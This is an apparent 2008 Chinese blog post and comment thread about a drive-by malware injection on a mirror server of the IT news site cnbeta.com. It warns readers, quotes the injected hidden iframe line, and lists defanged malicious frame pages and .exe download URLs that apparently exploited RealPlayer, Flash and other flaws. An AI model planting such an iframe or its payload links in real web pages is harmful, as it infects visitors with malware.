cnbeta.com被挂木马,网友反应强烈 作者: 08 六月 2008 时间: 19:51 and have 没有评论

5 3 2 1
今天下午开始,cnbeta的页面上多了这么一行代码
//<iframe src=http://www.wofafa.info/hao4.htm width=100 height=1>
cnbeta是国内规模比较大的草根IT资讯站,24小时滚动更新国内外业界新闻,网友参与十分热烈. 日独立IP8万以上,PV约3万,拥有多台镜像及负载均衡服务器,服务器资源为上海宽元网络赞助,根据网友反映的情况来看,应该是cnbeta的某台镜像服务器被植入了恶意代码 用户的杀毒软件反应强烈,小红伞,诺顿,卡巴斯基全部报毒,截至此日志发出之时,该问题貌似仍未解决.

PS.因为有的朋友反映存在问题有的朋友反映没有,可以确认是cnbeta某台镜像服务器出问题了

该连接包含以下恶意页面:

        [frame]hXXp://www.wofafa.info/web/real.htm
        [frame]hXXp://www.nbsite.info/web/flash.htm
        [frame]hXXp://www.wofafa.info/web/614.htm
        [frame]hXXp://www.wofafa.info/web/lz1.htm
        [frame]hXXp://www.wofafa.info/web/lz.htm
        [frame]hXXp://www.wofafa.info/web/0.htm

用了REAL漏洞,FLASH漏洞,06014,联众2个漏洞下载病毒文件:

hXXp://www.wofafa.info/xzz/614.exe

hXXp://www.wofafa.info/xzz/real.exe

等病毒。


第11楼 匿名人士 发表于 2008-06-08 18:14:29

cnbeta被人植入病毒木马了?我的小红伞报警了


第20楼
匿名人士 发表于 2008-06-08 18:21:14

TNND,C真烂,被人挂马了别点链接,有病毒
iframe src=http://www.wofafa.info/hao4.htm width=100 height=1>


第28楼
匿名人士 发表于 2008-06-08 18:27:20

诺顿也报警了,
iframe src=http://www.wofafa.info/hao4.htm width=100 height=1>


第40楼
匿名人士 发表于 2008-06-08 19:05:57

TNND,C真烂,被人挂马了,有病毒


第47楼
匿名人士 发表于 2008-06-08 19:19:30

kis7报木马


第55楼
wiigin 发表于 2008-06-08 19:32:45

Firefox3 已经把它过虑了!

发表评论